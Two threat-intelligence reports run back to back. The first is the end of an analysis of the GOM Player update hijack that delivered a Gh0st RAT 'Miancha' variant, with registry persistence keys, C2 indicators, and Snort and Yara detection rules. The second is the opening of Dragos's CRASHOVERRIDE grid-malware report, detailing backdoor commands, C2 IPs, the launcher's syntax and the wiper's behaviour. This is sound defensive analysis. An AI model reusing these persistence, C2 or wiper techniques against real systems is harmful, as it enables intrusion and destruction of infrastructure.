It is likely that the attackers would redeploy their implant against other targets, albeit with a delivery mechanism more tailored to the location of the intended victims.
TLP: WHITE TLP: WHITE Page 5 / 11 3 The Monju Incident 3.1 Infection Vector Based on open source reporting, it appears that the intrusion took place via the compromise of the GOM Player update server (app.gomlab.com), where attackers may have gained entry via a PHP-based webshell, hidden within an image, present on the host since October 2011[2].
The observed malicious activity relates to the modification of a file that controls GOM Player updates, spanning the date range 27th December 2013 to 16th January 2014, during which time these alterations are reported to have only manifested themselves for visitors on certain IP ranges evidence supporting this claim has not yet been made public.
If this was indeed the case, then the nature of this attack is certainly more targeted than one that would cover the entire userbase of the GOM Player product, with victims comprising of the Japanese Government in addition to those at the Monju nuclear facility.
The modified file redirected the GOM Player update process to another compromised server (www.fudousankaitori.jp (203.189.101.35)), where a file containing both the legitimate update and the malware was deliver to the victim.
Victim app.gomlab.com www.fudousankaitori.jp GOM Player Update Request Modified Update URL testqweasd.tk GOM Update Download Request GOM Player and Malware 1 2 Malware Command And Control 3 Key Attacker Infrastructure Compromised Server A diagram illustrating the modified flow of the GOM Player update process which led to the compromise 2 http://hummingbird.tistory.com/5187 http://hummingbird.tistory.com/5187 TLP: WHITE TLP: WHITE Page 6 / 11 3.2 Malware 3.2.1 Overview Deployed to the system via a compressed bundle containing the official GOM Player setup binary and a self-extracting RAR archive containing the malicious files, the malware consists of a number of individual pieces.
Upon extraction from the RAR archive, the installer component (0ae82fd94836815a1e8d284ccb75109d) is automatically launched alongside the GOM Player update, distracting victims from the malicious activity taking place.
The installer component is referred to by the author as miansha which, according to an East Asia Cyber Threat Intelligence Researcher, is likely Minsh (), a phrase commonly used by Peoples Republic of China (PRC) hackers to mean anti Antivirus detection or Antivirus avoidance Symantec[3] have named the detection for this code Backdoor.
Miancha, where Minch (, likely shorthand for ) similarly means Antivirus avoidance.
The installer is responsible for the malware persistence mechanism, adding entries to the registry in the following locations, depending on Windows Version: Miancha Persistence Registry Keys Windows Vista and later HKEY_USERS\.default\Software\Classes\CLSID\ECD4FC4D- 5213-11D0-B792-00A0C90312E1\InProcServer32\ expand:C:\WINDOWS\temp\install.ocx Prior to Windows Vista HKEY_USERS\.default\Software\Classes\CLSID\B12AE898- D056-4378-A844-6D393FE37956\InProcServer32\ expand:C:\WINDOWS\temp\install.ocx The installer will also determine the system architecture (32- or 64-bit) and then deobfuscate the relevant loader DLL to the path C:\Windows\temp\install.ocx, ensuring the malware is launched on system start-up.
Oddly, this file is padded with null bytes, resulting in a 25 megabyte file.
Repackaged Update GoMPLAYERJPSETUP.EXE (a9225e059d9dace1b259bceec7f48dae) Real GOM Player Installer GOMPLAYERJPSETUP_JP.EXE (1ff3b3628e40f0215afacf482ba17782) Self-extracting RAR Archive containing Malware GOMPLAYERBETASETUP_JP.exe (db79a93448acac8786581858f3edc36a) Malicious Installer install.exe (0ae82fd94836815a1e8d284ccb75109d) Obfuscated Implant Code instructions.pdf (569071c45f47b7fb7a75f30bc07d5739) instructions64.pdf (55474f8e26f2b6fc3b5d78ce9a77b0b0) Obfuscated Malware Loaders dll.tmp (d5548e1913950a42a04debcac4222bd2) dll64.tmp (01f7b465242237bd3d31d39767aa68e0) The deployment chain of the Miancha Gh0st variant 3 http://www.symantec.com/security_response/writeup.jsp?docid2014-012407-3922-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-012407-3922-99 TLP: WHITE TLP: WHITE Page 7 / 11 The main implant code is stored in files named instructions.pdf and instructions64.pdf not PDF documents but instead DLLs obfuscated with a one-byte XOR with 0x14, similar to the malware loader DLLs.
The loader, referred to by the malware author as  (shell), reads and deobfuscates the main implant code which then communicates with the attacker-controlled server at testqweasd.tk (211.43.220.89) on TCP port 443.
The main implant code is referred to as  (Black on White), a term used in the PRC hacking community to denote the act of Antivirus avoidance through the loading of malicious black code via non-malicious or trusted white code.
This is a practice recently illustrated through the deployment of the PlugX trojan, utilising DLL load order hijacking alongside a signed (trusted) executable.
Analysis of this malware revealed it to be a variant of the Gh0st RAT, often used by Chinese actors (including those who are state-motivated or directly state-sponsored).
This specific variant shows similarities to that used during the VOHO campaign[4], where Gh0st RAT was spread via watering hole attacks utilising vulnerable websites belonging to financial services and technology companies.
Specifically, the initial five bytes of the communications (often used to denote a campaign or victim) are HTTPS, amended from the original Gh0st the same as the traffic produced by the VOHO Gh0st variant.
In addition to delivering system-specific details back to the attacker, Gh0st RAT provides the capability to deploy additional malware, enabling the harvesting of sensitive data and enabling the further propagation throughout the infected network.
4 https://blogs.rsa.com/voho-apt-campaign-update/ https://blogs.rsa.com/voho-apt-campaign-update/ TLP: WHITE TLP: WHITE Page 8 / 11 3.2.2 Detection To enable rapid response, the following Snort signature can be deployed: alert tcp HOME_NET any - EXTERNAL_NET 53,80,443,1080 (msg:gh0st RAT HTTPS variant (aka Backdoor.
Miancha) flow:established,to_server content:HTTPS depth:5 rawbytes classtype:trojan-activity sid:xxx rev:1) Additionally, the following Yara signature should identify both encoded payloads and the active implant in memory: rule Trojan_W32_Gh0stMiancha_1_0_0  strings: 0x   57 5b 5a 5a 51 57 40 34 31 67 2e 31 70 34 5c 40 40 44 3b 25 3a 19 1e 5c 7b 67 60 2e 34 31 67 2e 31 70 19 1e 55 77 77 71 64 60 2e 34 3e 3b 3e 19 1e 57 7b 7a 60 71 7a 60 39 40 6d 64 71 2e 34 60 71 6c 60 3b 7c 60 79 78 19 1e 44 66 7b 6c 6d 39 57 7b 7a 7a 71 77 60 7d 7b 7a 2e 34 5f 71 71 64 39 55 78 7d 62 71 19 1e 57 7b 7a 60 71 7a 60 39 78 71 7a 73 60 7c 2e 34 24 19 1e 19 1e 1   5c e7 99 bd e5 8a a0 e9 bb 91 5c 1x   48 f3 8d a9 f1 9e b4 fd af 85 48 2  DllCanLoadNow 2x   50 78 78 57 75 7a 58 7b 75 70 5a 7b 63 3x   5a 61 79 76 71 66 34 7b 72 34 67 61 76 7f 71 6d 67 2e 34 31 70 4  JXNcc2hlbGxcb3Blblxjb21tYW5k 4x   5e 4c 5a 77 77 26 7c 78 76 53 6c 77 76 27 56 78 76 78 6c 7e 76 26 25 60 4d 43 21 7f 5  SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA 5x   47 51 52 47 46 52 70 56 41 7f 42 77 46 51 42 40 45 25 5e 5e 41 52 46 5e 40 24 21 77 41 27 78 6e 70 53 42 60 4c 51 5a 78 76 7a 46 6d 4d 43 6c 45 77 79 2d 7e 4e 4c 5a 6e 76 27 5e 77 59 55 29 29 6  C:\\Users\\why\\ 6x   57 2e 48 41 67 71 66 67 48 63 7c 6d 48 7  g:\\ykcx\\ 7x   73 2E 48 6D 7F 77 6C 48 8  (miansha) 8x   3C 79 7D 75 7A 67 7C 75 3D 9  server(\xE5\xA3\xB3) 9x   7C 2E 48 26 24 25 27 3A 25 25 3A 26 21 48 67 71 66 62 71 66 3C F1 B7 A7 3D 48 46 71 78 71 75 67 71 48 67 71 66 62 71 66 3A 64 70 76 cfgDecode   8a ?? ?
?
80 c2 7a 80 f2 19 88 ?? ?
?
41 3b ce 7c ?
?
condition: any of them  TLP: WHITE TLP: WHITE Page 9 / 11 4 Appendix A  File Metadata Gh0stMiancha Installer MD5 0ae82fd94836815a1e8d284ccb75109d SHA1 bcba2a4d55d860f0bca3b9f80a5deb2dd69f000c SHA256 b2f9e2f7c07235a6ea03e90ba591f0a43d38d8ff8ee6583473b6fbb63831619d Size (bytes) 13314 Compile Time 2013-11-22 12:19:48 UTC In-the-wild Filenames install.exe PDB String g:\ykcx\install(miansha)\Release\install.pdb Obfuscated TrojanLoader:W32/Gh0stMiancha MD5 d5548e1913950a42a04debcac4222bd2 SHA1 ac48bc2deefd30dad762a23e85409a7eec48b723 SHA256 3d43f7fab3c8f574e2790c2d97f85fa87f0d53e412c995462e53348b4fc34b74 Size (bytes) 10299 Compile Time N/A In-the-wild Filenames dll.tmp TrojanLoader:W32/Gh0stMiancha MD5 04e7361323b431f7c9f86388f316bbea SHA1 e3c095c7ace563b41b3f4310f3de69e47c86fd03 SHA256 73ef70f1e80e32341eebcb3b1084cf896f6b1aa701b7a6c7abcb9293500d84ae Size (bytes) 10299 Compile Time 2013-11-26 09:34:10 UTC In-the-wild Filenames install.ocx PDB String h:\2013.11.25\server()\Release\server.pdb Obfuscated TrojanLoader:W64/Gh0stMiancha MD5 01f7b465242237bd3d31d39767aa68e0 SHA1 db4ec59bf7f34a21f9dc7f2ded68c616f7c0fe47 SHA256 ed39c1d86ff8cfe18ef58e850d205a678d255150324b00661b91448173c94900 Size (bytes) 12347 Compile Time N/A In-the-wild Filenames dll64.tmp TrojanLoader:W64/Gh0stMiancha MD5 008fbd0fde06edb31fc7eecdae1a3030 SHA1 b9ae0a079cd1dae96425ced4bb96ba0f71c87a7a TLP: WHITE TLP: WHITE Page 10 / 11 SHA256 cc8d38d3cc214ff3ad10d6859a88e018b1f7e0ed6df7d04a6f4368bda851ba14 Size (bytes) 12347 Compile Time 2013-11-26 11:47:39 UTC In-the-wild Filenames install.ocx PDB String C:\Users\why\Desktop\server()\x64\Release\server.pdb Obfuscated Trojan:W32/Gh0stMiancha MD5 569071c45f47b7fb7a75f30bc07d5739 SHA1 540bb9d2dee8f4e10e5ae0a5cc900b346a57a198 SHA256 8a00b2aefdcd0bb22013bbe9c7941fa16af8246e545e1522622006b9c88ca716 Size (bytes) 169019 Compile Time N/A In-the-wild Filenames instructions.pdf Trojan:W32/Gh0stMiancha MD5 916b1a07efb145c450b4c13540be6c3e SHA1 7984639beb4e9870301d3b44a68b4346f9a6b826 SHA256 f26c2e9bee680f8e4d7afd73e2984a6697263334d2f0049a40e050d75293035e Size (bytes) 169019 Compile Time 2013-12-06 08:08:28 UTC In-the-wild Filenames N/A PDB String h:\2013.11.25\\server(update.dll)(instructions.pdf)\Release\server.pdb Obfuscated Trojan:W64/Gh0stMiancha MD5 55474f8e26f2b6fc3b5d78ce9a77b0b0 SHA1 3f714c33992e906e69df2d5d4971beaed336d9f4 SHA256 27e5670f68ff68acc80716c6870f4e5d06c471791f087d5b9b7613f8dc700037 Size (bytes) 233019 Compile Time N/A In-the-wild Filenames instructions64.pdf Trojan:W64/Gh0stMiancha MD5 1d2c77f0f8a715de09ce6fae5fc800d4 SHA1 30784735763b060a39f76c29439a6aebbf6a4b9b SHA256 2fdf454f6b1c82d757d054bea5f0438f5da1ecd9e5059610d3d4b74e75a7c8b0 Size (bytes) 233019 Compile Time 2013-12-06 08:10:34 UTC In-the-wild Filenames N/A PDB String C:\Users\why\Desktop\server(update.dll)(instructions.pdf)x64\x64\Release\server.pdb TLP: WHITE TLP: WHITE Page 11 / 11 Context Information Security - Threat Intelligence - threatcontextis.co.uk London (HQ) Cheltenham  Dsseldorf  Melbourne 4th Floor 30 Marsh Wall London E14 9TP United Kingdom Corinth House 117 Bath Road Cheltenham GL53 7LS United Kingdom 1.OG Adersstr.
28 40215 Dsseldorf Germany 4th Floor 155 Queen Street Melbourne VIC 3000 Australia
CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations DRAGOS INC. /
WWW.DRAGOS.COM version 2.20170613 2 CRASHOVERRIDE : Threat to the Electic Grid Operations Contents Executive Summary       3 Why Are We Publishing This     3 Key Takeaways       4 Background        5 Introduction to Electric Grid Operations   6 Evolution of Tradecraft      8 STUXNET        8 Dragonfly/HAVEX      9 BLACKENERGY 2       10 Ukraine Cyber Attack 2015     10 CRASHOVERRIDE      11 Capabilities        12 Capabilities Overview      12 Module Commonalities      13 Backdoor/RAT Module      13 Launcher Module      15 Data Wiper Module      16 IEC 104 Module       17 IEC 101 Module       21 61850 Module       21 OPC DA Module       21 SIPROTECT DoS Module     22 Capability Conclusions      22 Implications of capability      22 Attack Option: De-energize substation   22 Attack Option: Force an Islanding event   23 Adding Amplification Attacks     24 Using OPC to create a Denial of Visibility   24 Using CVE-2015-5374 to hamper protective relays  25 Defense Recommendations     26 CRASHOVERRIDE Analyzing the Threat to Electric Grid Operations 3 CRASHOVERRIDE : Threat to the Electic Grid Operations Why Are We Publishing This Security firms must always balance a need to inform the public against empowering adversaries with feedback on how they are being detected and analyzed.
This case is no different.
In fact, it is more important given that there is no simple fix as the capa- bility described in this report takes advantage of the knowledge of electric grid sys- tems.
It is not an aspect of technical vulnerability and exploitation.
It cannot just be patched or architected away although the electric grid is entirely defensible.
Human defenders leveraging an active defense such as hunting and responding internally to the industrial control system (ICS) networks can ensure that security is maintained.
Executive Summary Dragos, Inc. was notified by the Slovak anti-virus firm ESET of an ICS tailored mal- ware on June 8th, 2017.
The Dragos team was able to use this notification to find samples of the malware, identify new functionality and impact scenarios, and con- firm that this was the malware employed in the December 17th, 2016 cyber-attack on the Kiev, Ukraine transmission substation which resulted in electric grid opera- tions impact.
This report serves as an industry report to inform the electric sector and security community of the potential implications of this malware and the appro- priate details to have a nuanced discussion.
4 CRASHOVERRIDE : Threat to the Electic Grid Operations Key Takeaways The malware self-identifies as crash in multiple locations thus leading to the naming convention CRASHOVERRIDE for the malware framework.
CRASHOVERRIDE is the first ever malware framework designed and deployed to attack electric grids.
CRASHOVERRIDE is the fourth ever piece of ICS-tailored malware (STUXNET, BLACKENERGY 2, and HAVEX were the first three) used against targets and the second ever to be designed and deployed for disrupting physical industrial pro- cesses (STUXNET was the first).
CRASHOVERRIDE is not unique to any particular vendor or configuration and instead leverages knowledge of grid operations and network communications to cause impact in that way, it can be immediately re-purposed in Europe and portions of the Middle East and Asia.
CRASHOVERRIDE is extensible and with a small amount of tailoring such as the inclusion of a DNP3 protocol stack would also be effective in the North Ameri- can grid.
CRASHOVERRIDE could be leveraged at multiple sites simultaneously, but the scenario is not cataclysmic and would result in hours, potentially a few days, of outages, not weeks or more.
Dragos assesses with high confidence that the same malware was used in the cyber-attack to de-energize a transmission substation on December 17, 2016, resulting in outages for an unspecified number of customers.
The functionality in the CRASHOVERRIDE framework serves no espionage pur- pose and the only real feature of the malware is for attacks which would lead to electric outages.
CRASHOVERRIDE could be extended to other industries with additional pro- tocol modules, but the adversaries have not demonstrated the knowledge of other physical industrial processes to be able to make that assessment anything other than a hypothetical at this point and protocol changes alone would be insufficient.
Dragos, Inc. tracks the adversary group behind CRASHOVERRIDE as ELECTRUM and assesses with high confidence through confidential sources that ELECTRUM has direct ties to the Sandworm team.
Our intelligence ICS WorldView cus- tomers have received a comprehensive report and this industry report will not get into sensitive technical details but instead focus on information needed for defense and impact awareness.
CRASHOVERRIDE : Threat to the Electic Grid Operations 5 Background On June 8th, 2017 the Slovak anti-virus firm ESET shared a subset of digital hash- es of the malware described below and a portion of their analysis with Dragos.
The Dragos team was asked to validate ESETs findings to news publications ESET had contacted about the story which would be published June 12th, 2017.
Dragos would like to thank ESET for sharing the digital hashes which allowed the Dragos team to spawn its investigation.
Without control of the timeline, it was Dragos desire to publish a report alongside ESETs report to capture the nuance of elec- tric grid operations.
The report also contains new discoveries, indicators, and im- plications of the tradecraft.
Also, because of the connection to the activity group Dragos tracks as ELECTRUM, it was our decision that an independent report was warranted.
The Dragos team has been busy over the last 96 hours reproducing and verifying ESETs analysis, hunting for new samples of the malware and potential ad- ditional infections, notifying appropriate companies, and informing our customers.
Importantly, Dragos also updated ICS vendors that needed to be made aware of this capability, relevant government agencies, many national computer emergen- cy response teams (CERTs), and key players in the electric energy community.
Our many thanks to those involved.
If you are a Dragos, Inc. customer, you will have already received the more concise and technically in-depth intelligence report.
It will be accompanied by follow-on reports, and the Dragos team will keep you up-to-date as things evolve.
It is in Dragos view that the following report contains significant assessments that de- serve a wide audience in the electric sector.
Avoiding hype and fear should always be paramount but this case-study is of immediate significance, and this is not a singular contained event.
The CRASHOVERRIDE capability is purpose built to im- pact electric grid operations and has been created as a framework to facilitate the impact of electric grids in other countries in the future outside the attack that took place with it December 17th, 2016 in Ukraine.
However, as always, the defense is doable.
6 CRASHOVERRIDE : Threat to the Electic Grid Operations Introduction to Electric Grid Operations As with most ICS specific incidents, the most interesting components of the attack are in how the adversary has demonstrated they understand the physical industri- al process.
Whereas vulnerabilities, exploits, and infection vectors can drive dis- cussions in intrusion analysis of IT security threats that is not the most important aspect of an ICS attack.
To fully understand the CRASHOVERRIDE framework, its individual capabilities, and overall impact on ICS security it is important to under- stand certain fundamentals of electric grid operations.
Simplistically, the electric grid can be categorized into three functions: generation of electricity at power plants, transmission from the power plants across typically long distances at high voltage, and then stepped down to lower voltage to distribu- tion networks to power customers.
Along these long transmission and distribution systems are substations to transform voltage levels, serve as switching stations and feeders, and fault protection.
Many industries feed into the electric grid, and those differences require different systems and communications.
As an example, while a power plant feeds energy into the electric grid there is no one-size-fits-all approach to power plants.
There are power plants that cover different sources of fuel including coal-fired, nuclear generation, wind farm, solar farm, gas turbine power, hydroelectric and more.
This means that the electric grid must be a robust, almost living creature, which moves and balances electricity across large regions.
Electric grids use a special type of industrial control system called a supervisory control and data acquisition (SCADA) system to manage this process across large geographical areas.
Transmission and distribution owners have their substations in their particular geographical footprint and control centers manage the cross-territory SCADA systems 24/7 by human op- erators.
These control centers often regularly manage the continual demand and response of their customers, respond to faults, and plan and work with neighboring utilities.
This simplistic view of grid operations is similar around the world.
There are of- ten vendor and network protocol differences between countries but the electrical engineering, and the overall process is largely the same between nations.
As an example, these systems use SCADA and leverage systems such as remote terminal units (RTUs) to control circuit breakers.
As the breakers open and close, substations are energized or de-energized to balance power across the grid.
Some network protocols such as IEC 104, a TCP-based protocol, and its serial protocol compan- ion IEC 101, are often regional specific.
Europe, some of Asian, and portions of the Middle East leverage these protocols to control RTUs from the SCADA human machine interfaces (HMIs).
7 CRASHOVERRIDE : Threat to the Electic Grid Operations Figure 1: Simplistic Mockup of Electric Grid Operations Systems and Communications Relevant for CRASHOVERRIDE In North America, the protocol of choice for this is the Distributed Network Proto- col 3 (DNP3).
The various protocols purposes are largely the same though: control physical equipment through RTUs, programmable logic controllers (PLCs), and other final control elements via HMIs as a part of the larger SCADA system.
Some protocols have been adopted cross-country including IEC 61850 which is usual- ly leveraged from an HMI to work with equipment such as digital relays and other types of intelligent electronic devices (IEDs).
IEDs are purpose built microproces- sor-based control devices and can often be found alongside power equipment such as circuit breakers.
IEDs and RTUs operate in a master/slave capacity where the slave devices are polled and sent commands by master devices.
8 CRASHOVERRIDE : Threat to the Electic Grid Operations Substations manage the flow of power through transmission or distribution lines.
Management of energizing and de-energizing of these lines ultimately control when and where the flow of power moves in and out of the substation.
If you open a breaker you are removing the path where the electricity is flowing, or de-energizing it.
If you close a breaker then you are energizing the line by closing the gap and allowing the power to flow.
This concept is similar to anyone who has tripped (opened) a breaker in their house.
Traditional IT or IT security staff may be confused on this terminology as it is opposite to how one would describe firewall rules where open means network traffic may flow and closed means network traffic is prohibited.
The grid is a well-designed system, and while damage can be done, it is vital to un- derstand that in nations around the world the electric community has designed the system to be reliable and safe which has a natural byproduct of increased securi- ty.
In the United States as an example, reliability is reinforced with regular training and events such as the North American grids GridEx where grid operators train for events from hurricanes, to terrorist incidents, to cyber-attacks and how they will respond to such outages.
There is constantly a balance that must be understood when referring to grid operations: yes, the systems are vulnerable and more must be done to understand complex and multi-stage attacks, but the grid is also in a great defensible position because of the work of so many over the years.
Evolution of Tradecraft CRASHOVERRIDE represents an evolution in tradecraft and capabilities by ad- versaries who wish to do harm to industrial environments.
To fully appreciate the malware it is valuable to compare it to its predecessors and the Ukraine 2015 cyber attack.
STUXNET The STUXNET malware has been written about extensively and referenced, at times, unfortunately, in comparison to most ICS related incidents and malware.
It was the first confirmed example of ICS tailored malware leveraged against a tar- get.
The Windows portion of the code with its four zero-day exploits gained a lot of notoriety.
However, it was the malwares payload that was specific to ICS that was the most interesting component.
The tradecraft exhibited by STUXNET was the detailed understanding of the industrial process.
In IT networks, it is important for adversaries to identify vulnerabilities and exploit them to load malware and gain privileges on systems.
9 CRASHOVERRIDE : Threat to the Electic Grid Operations In ICS networks though, some of the most concerning issues are related to an adversarys ability to learn the physical process such as the engineering of the systems and their components in how they work together.
STUXNETs greatest strength was leveraging functionality in Siemens equipment to interact with nucle- ar enrichment centrifuges through abuses of intended functionality.
The purpose of the Siemens equipment was to be able to control and change the speed of the centrifuges.
Stuxnet did this as well but with pre-programmed knowledge from the attackers on the speeds that would cause the centrifuge to burst from their cas- ings.
ICS tailored malware leveraging knowledge of industrial processes was now a thing.
However, it was specific to Siemens equipment and unique to the Natanz fa- cility in Iran.
While tradecraft and exploits can be replicated, it was not reasonable to re-purpose the Stuxnet capability.
Dragonfly/HAVEX The Dragonfly campaign was an espionage effort that targeted numerous industrial control system locations, estimates put it at over 2,000 sites, with a large empha- sis on electric power and petrochemical asset owners.
The Dragonfly campaign leveraged the HAVEX malware.
There are often not many commonalities between different industrial sites.
Even a single substation in one company can be almost entirely different than a substation in the same company based on vendors, imple- mentation, integration, and the physical processes required at each site.
One of the few commonalities across numerous ICS industries though is the OPC protocol.
It is designed to be the universal translator for many industrial components and is readily accessible in an HMI or dedicated OPC server.
The HAVEX malware lever- aged legitimate functionality in the OPC protocol to map out the industrial equip- ment and devices on an ICS network.
It was a clever use of the protocol and while the malware itself was not complex the tradecraft associated with the usage of OPC was sophisticated.
However, the Dragonfly campaign was focused entirely on espionage.
There was no physical disruption or destruction of the industrial pro- cess.
Instead, it was the type of data you would want to leverage to design attacks in the future built for the specific targets impacted with the malware.
10 CRASHOVERRIDE : Threat to the Electic Grid Operations BLACKENERGY 2 The Sandworm team has targeted numerous industries ranging from western mil- itaries, governments, research organizations, defense contractors, and industrial sites.
It was their use of the BLACKENERGY 2 malware that caught the ICS indus- trys attention.
This ICS tailored malware contained exploits for specific types of HMI applications including Siemens SIMATIC, GE CIMPLICITY, and Advantech We- bAccess.
BLACKENERGY 2 was a smart approach by the adversaries to target in- ternet connected HMIs.
Upon exploitation of the HMIs, the adversaries had access to a central location in the ICS to start to learn the industrial process and gain the graphical representation of that ICS through the HMI.
The targeting of HMIs alone is often not enough to cause physical damage, but it is an ideal target for espio- nage and positioning in an ICS.
Gaining a foothold in the network that had access to numerous components of the ICS while maintaining command and control to Internet locations, positioned it well for espionage.
Ukraine Cyber Attack 2015 The cyber-attack on three power companies in Ukraine on December 23rd, 2015 marked a revolutionary event for electric grid operators.
It was the first known in- stance where a cyber-attack had disrupted electric grid operations.
The Sandworm team was attributed to the attack and their use of the BLACKENERGY 3 malware.
BLACKENERGY 3 does not contain ICS components in the way that BLACKENER- GY 2 did.
Instead, the adversaries leveraged the BLACKENERGY 3 malware to gain access to the corporate networks of the power companies and then pivot into the SCADA networks.
While in the environment the adversaries performed their recon- naissance and eventually leveraged the grids systems against itself.
They learned the operations and used the legitimate functionality of distribution management systems to disconnect substations from the grid leaving 225,000 customers without power for upwards of 6 hours until manual operations could restore pow- er.
However, due to the wiping of Windows systems through the KillDisk malware and destruction of serial-to-Ethernet devices through malicious firmware updates, the Ukrainian grid operators were without their SCADA environment, meaning they lost the ability for automated control, for upwards of a year in some locations.
The most notable aspect of the attack was the adversarys focus on learning how to leverage the systems against themselves.
Malware enabled the attack, and malware delayed restoration efforts, but it was the direct interaction of the adversary lever- aging the ICS against itself that resulted in the electric power disruptions, not mal- ware.
11 CRASHOVERRIDE : Threat to the Electic Grid Operations CRASHOVERRIDE The CRASHOVERRIDE malware impacted a single transmission level substation in Ukraine on December 17th, 2016.
Many elements of the attack appear to have been more of a proof of concept than what was fully capable in the malware.
The most important thing to understand though from the evolution of tradecraft is the codification and scalability in the malware towards what has been learned through past attacks.
The malware took an approach to understand and codify the knowl- edge of the industrial process to disrupt operations as STUXNET did.
It leveraged the OPC protocol to help it map the environment and select its targets similar to HAVEX.
It targeted the libraries and configuration files of HMIs to understand the environment further and leveraged HMIs to connect to Internet-connected lo- cations when possible as BLACKENERGY 2 had done.
And it took the same type of approach to understanding grid operations and leveraging the systems against themselves displayed in Ukraine 2015s attack.
It did all of these things with added sophistication in each category giving the adversaries a platform to conduct at- tacks against grid operations systems in various environments and not confined to work only on specific vendor platforms.
It marks an advancement in capability by adversaries who intend to disrupt operations and poses a challenge for defenders who look to patching systems as a primary defense, using anti-malware tools to spot specific samples, and relying upon a strong perimeter or air-gapped network as a silver-bullet solution.
Adversaries are getting smarter, they are growing in their ability to learn industrial processes and codify and scale that knowledge, and de- fenders must also adapt.
12 CRASHOVERRIDE : Threat to the Electic Grid Operations Capabilities Capabilities Overview The CRASHOVERRIDE malware is a modular framework consisting of an initial backdoor, a loader module, and several supporting and payload modules.
The most important items are the backdoor, which provides access to the infected system, the loader module, which enables effects on the target, and the individual payload modules.
Dragos focused our analysis on the previously mentioned items as they are most relevant for defending grid operations.
Dragos analysts were able to obtain two samples of the malware related to effects on the targeted industrial control system.
One sample was the IEC 104 protocol module, and the other sample was the data wiper.
Both samples shared common design characteristics indicative of being part of a broader ICS attack and manip- ulation framework.
ESET was able to uncover an additional IEC 61850 and OPC module which they have analyzed and shared with Dragos.
Below contains an overview of program execution flow and dependency.
Figure 2.
CRASHOVERRIDE Module Overview Including ESETs Discoveries 13 CRASHOVERRIDE : Threat to the Electic Grid Operations Module Commonalities Dragos analysts were able to determine the compile time for both modules ob- tained as being within 12 minutes of each other just after 2:30 am on December 18th in an unknown time zone although timestamps for both samples were zeroed out.
These times falls in the same timeframe as the Ukraine events.
Both mod- ule samples exported a function named Crash that served as the main function to begin execution.
The common Crash function enables the ability to plug and play additional modules.
Backdoor/RAT Module Key Features Authenticates with a local proxy via the internal network established before the backdoor installation After authentication opens HTTP channel to external command and control server (C2) through internal proxy Receives commands via the external command and control (C2) server Creates a file on the local system (contents not determined) Overwrites an existing service to point to the backdoor so the malware persists between reboots Details Access to the ICS network flows through a backdoor module.
Dragos obtained four samples which all featured similar functionality.
On execution, the malware attempts to contact a hard-coded proxy address located within the local network.
ELECTRUM must establish the internal proxy before the installation of the back- door.
The malware expects to communicate to an internal proxy listening on TCP 3128.
This port is a default port associated with the Squid proxy.
The beaconing contin- ues without pause until it establishes a connection.
The backdoor then sends a se- ries of HTTP POST requests with the victims Windows GUID (a unique identifier set with every Windows installation) in the HTTP body.
This information authenticates the targeted machine to the command and control (C2) server.
If the C2 server does not respond, the backdoor will exit.
14 CRASHOVERRIDE : Threat to the Electic Grid Operations If the authentication is successful to the internal proxy, the malware attempts to per- form an HTTP CONNECT to an external C2 server via the internal proxy.
Across four samples, Dragos identified three different C2 addresses which were likely part of the December 2016 attack on Ukraine: 195.16.88.6 93.115.27.57 5.39.218.152 A check of the TOR projects ExoneraTOR service indicates that all of the listed IP ad- dresses were listed as active TOR nodes during the events in Ukraine.
When performing the HTTP CONNECT, the malware attempts to identify the system default user agent.
If this cannot be determined or does not exist, then a hard-coded default for the malware is used: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 5.1 InfoPath.1) The malware can be configured to beacon out periodically afterwards via a hard-coded configuration value.
The implant is designed to retrieve commands from the C2 server: Create a new process as logged in user Create a new process as specified user via CreateProcessWithLogon Write a file Copy a file Execute a command as logged in user Execute a command as specified user Kill the backdoor Stop a service Specify a user (log in as user) and stop a service Specify a user (log in as user) and start a service Alter an existing service to point to specified process and change to start at boot Execution results in several artifacts left on the host.
During execution, the malware checks for the presence of a mutex value.
Mutexes are program objects that name re- sources to enable sharing with multiple program threads.
In this case, CRASHOVERRIDE checks the following: \Sessions\1\Windows\ApiPortection 15 CRASHOVERRIDE : Threat to the Electic Grid Operations The backdoor may also create and check a blank mutex name.
Reviewing memo- ry during execution and analysis of other modules in the malware indicates that \ Sessions\1\Windows\ appears multiple times, indicating that a check may be per- formed.
The backdoor writes a file to either C:\Users\Public\ or C:\Users\Executing User The contents of this file were not discovered during our analysis, and it did not appear to be vital to the malware functionality.
However, this is a good indicator of the observed activity and may be leveraged to detect this specific sample through host-based indicator checking.
The service manipulation process is the only persistence mechanism for the mal- ware.
When used, the adversary can select an arbitrary system service, direct it to refer to CRASHOVERRIDE, and ensure it is loaded on system boot.
If this fails, the malware, although present on disk, will not start when the machine reboots.
When evaluating the options provided to the adversary, an important piece of functionality associated with most remote access tools is absent: a command to exfiltrate data.
While this functionality could be created via the command execu- tion options, one would expect this option to be explicit given options to down- load and copy files on the host if the adversary intended to use the tool as an all-encompassing backdoor and espionage framework.
Instead, the functionality of this tool is explicitly designed for facilitating access to the machine and execut- ing commands on the system and cannot reasonably be confused as an espionage platform, data stealer, or another such item.
Launcher Module Key Features Loads payload modules which manipulate the ICS and cause destruction via the wiper Starts itself as a service likely to hide better Loads the payload module(s) defined on the command line during execu- tion Launches the payload and begins either 1 or 2 hours countdown before launching the data wiper (variant dependent) 16 CRASHOVERRIDE : Threat to the Electic Grid Operations Details Within the attack sequence, the ICS payload modules and data wiper module must be loaded by a separate loader EXE.
Dragos obtained one sample of this file called the Launcher.
The launcher takes three parameters on start: Launcher.exe Working Directory payload.dll configuration.ini On launch, the sample analyzed starts a service named defragsvc.
It then loads the module DLL via an exported function named Crash.
A new thread is created at the highest priority on the executing machine.
Control then passes from the launcher to the loaded module while the launcher waits two hours before executing the data wip- er.
Data Wiper Module Key Features Clears all registry keys associated with system services Overwrites all ICS configuration files across the hard drives and all mapped net- work drives specifically targeting ABB PCM600 configuration files in this sample Overwrites generic Windows files Renders the system unusable Details Once executed, the data wiper module clears registry keys, erase files, and kill pro- cesses running on the system.
A unique characteristic of the wiper is that the main functionality was implemented within the Crash function.
The first task of the wiper writes zeros into all of the registry keys in: SYSTEM\CurrentControlSet\Services This registry tree contains initialization values for each service on the system.
Removal of these values renders a system inoperable.
The next wiper task targets ICS configu- ration files across the local hard drive and mapped network drives.
The malware au- thors included functionality to target drives lettered C-Z.
